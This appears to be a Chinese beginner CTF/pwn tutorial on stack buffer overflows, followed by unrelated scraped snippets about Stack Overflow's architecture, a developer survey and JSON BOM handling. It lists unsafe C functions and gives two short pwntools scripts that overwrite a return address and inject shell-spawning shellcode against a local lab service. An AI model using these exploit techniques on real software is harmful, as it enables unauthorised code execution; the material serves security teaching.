Pwn_5 Stack Overflow

Buffer Overflow

因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。

Stack Overflow

利用方式简单,可以直接覆盖return address和控制参数

Vunlnerable Function

  • gets
  • scanf
  • strcpy
  • sprintf
  • memcpy
  • strcat

Return to Text

控制程序的返回地址到原本程序中的函数(代码)

例如有类似的function,就可以直接跳转到这个function,function的地址可以用过IDA Pro或者objdump来查找

  • system(‘/bin/sh’)   //很少
  • execve(‘/bin/sh’,NULL,NULL)

Return to Shellcode

  • 覆盖返回地址
  • 跳转到func或者shell

要做的事情

1.确定偏移地址offest

2.ret->shell

多输入,如果报了段错误说明有   溢出点

偏移地址是32

函数地址

0x804851D

一个脚本

from pwn import *

r = remote (‘127.0.0.1‘,4000)   #connect

r.sendline(‘a‘*32 +p32(0x804851D) ) #offset + ret

r.interactive()


丢进IDA看伪代码

双击name,name是一个未初始化的全局变量,在bss段中,这是一种关键信息。地址为0x0804A060,不改变

from pwn import *

r = remote (‘127.0.0.1‘,4000)   #connect

r.recvuntil(‘Name:‘)

r.sendline(asm(shellcraft.sh()) ) #offset + ret

r.recvuntil(‘Try your best: ‘)

r.sendline(‘a‘*32+p32(0x0804A060))

r.interactive()   # interact

返回地址改为全局变量的地址

原文地址:https://www.cnblogs.com/rookieDanny/p/8460353.html

时间: 2024-07-31 12:15:59

Pwn_5 Stack Overflow的相关文章

(转)Stack Overflow 2016最新架构探秘

这篇文章主要揭秘 Stack Overflow 截止到 2016 年的技术架构. 首先给出一个直观的数据,让大家有个初步的印象. 相比于 2013 年 11 月,Stack Overflow 在 2016 年 02 月统计数据有较大变化,下面给出 2016 年 02 月 09 号一天的数据,如下: HTTP 请求数 209,420,973 (+61,336,090) 网页加载次数 66,294,789 (+30,199,477) HTTP 流量发送有1,240,266,346,053 (+406

Stack Overflow 2017 开发者调查报告

Stack Overflow 发布了 2017 开发者调查报告,此次有超过 64,000 名开发人员参与调查,分别对其技能.工具.学习趋势等数据进行了统计,现将其中一些有趣的数据和趋势撷取出来分享给大家. 一.开发角色 开发类型 大约有四分之三的受访者是 web 开发人员,不过这其中也有许多人表示正在努力构建桌面应用和移动应用. 具体开发类型 二.开发经验 Web 和移动开发人员平均而言,比其他技术学科的开发人员(如系统管理和嵌入式编程)的专业编码经验要少得多.软件行业是新人才的主要孵化器,经验

git - Trying to create a local repo of go.tools that is go get-able - Stack Overflow

git - Trying to create a local repo of go.tools that is go get-able - Stack Overflow

第一次在stack overflow回答问题

越发感觉英语的重要性,尝试阅读英文与写作英文.于是选择了stack overflow来进行实践.作为萌新小白,只学习过C语言,就在c标签下乱逛.尝试看懂一些问题且试着回答. 发现一个问题: I need a compiler to convert .c files to .hex file in command line and I need information about how its work thanks a lot 他需要一个能将.c文件转化为.hex文件的编译器还要知道运作信息.

Stack Overflow 上排名前十的与API相关的问题

Stack Overflow是一个庞大的编程知识仓库,在Stack Overflow 上,数百万的提问被回答,并且这些回答都是高质量的.这就是为什么在Google搜索结果的排行榜上,Stack Overflow 总是位居首位. 虽然Stack Overflow上有非常多的提问,但是仍然每天都有大量的问题被提出,其中的很多都等待解答或者没有得到好的解答.因此,问题是如何找到答案的,通过Stack Overflow是不够的. 随着成千上万的开发者使用Java的API并且在Github上分享他们的项目

How to provide username and password when run "git clone [email protected]"? - Stack Overflow

How to provide username and password when run "git clone [email protected]"? - Stack Overflow

Python load json file with UTF-8 BOM header - Stack Overflow

Python load json file with UTF-8 BOM header - Stack Overflow 12 down vote accepted You can open with codecs: import json import codecs json.load(codecs.open('sample.json','r','utf-8-sig')) or decode with utf-8-sig yourself and pass to loads: json.loa

Stack Overflow 2016最新架构探秘

这篇文章主要揭秘 Stack Overflow 截止到 2016 年的技术架构. 首先给出一个直观的数据,让大家有个初步的印象. 相比于 2013 年 11 月,Stack Overflow 在 2016 年 02 月统计数据有较大变化,下面给出 2016 年 02 月 09 号一天的数据,如下: HTTP 请求数 209,420,973 (+61,336,090) 网页加载次数 66,294,789 (+30,199,477) HTTP 流量发送有1,240,266,346,053 (+406

IntelHaxm : 加速android模拟器启动速度(Stack Overflow 、eoeAndroid wiki)

performance - Why is the Android emulator so slow? - Stack Overflowhttp://stackoverflow.com/questions/1554099/why-is-the-android-emulator-so-slow Android Tools - eoeAndroid wikihttp://wiki.eoeandroid.com/Android_Tools